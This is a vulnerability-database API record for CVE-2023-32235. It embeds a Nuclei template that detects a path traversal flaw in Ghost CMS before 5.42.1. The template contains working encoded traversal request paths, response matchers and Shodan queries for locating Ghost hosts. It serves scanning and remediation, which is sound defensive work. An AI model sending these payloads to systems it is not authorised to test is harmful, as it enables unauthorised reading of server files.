{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-32235/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-32235/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-32235/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-32235/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-32235/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-32235"},"sightings":{"href":"/api/v1/sightings/cve-2023-32235"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-32235.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2023-32235\n\ninfo:\n  name: Ghost CMS < 5.42.1 - Path Traversal\n  author: j3ssie\n  severity: high\n  description: |\n    Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.\n  impact: |\n    An attacker can exploit this vulnerability to access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.\n  remediation: Fixed in version 5.42.1\n  reference:\n    - https://github.com/advisories/GHSA-wf7x-fh6w-34r6\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-32235\n    - https://github.com/TryGhost/Ghost/commit/378dd913aa8d0fd0da29b0ffced8884579598b0f\n    - https://github.com/TryGhost/Ghost/compare/v5.42.0...v5.42.1\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-32235\n    cwe-id: CWE-22\n    epss-score: 0.39078\n    epss-percentile: 0.9853\n    cpe: cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ghost\n    product: ghost\n    framework: node.js\n    shodan-query:\n      - http.component:\"Ghost\"\n      - http.component:\"ghost\"\n  tags: cve2023,cve,lfi,ghostcms,ghost,node.js,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/assets/built%2F..%2F..%2F/package.json\"\n      - \"{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"name\"'\n          - '\"version\"'\n          - '\"ghost\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402200ff42c857aea29d6bd16b24a58e3eb0f4ebda696323d52a77540ed74a36047e502202b7395dc10d987bd95ea57a8d8359d7f2e10493605f98096ae20583ae7f2c239:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-32235"}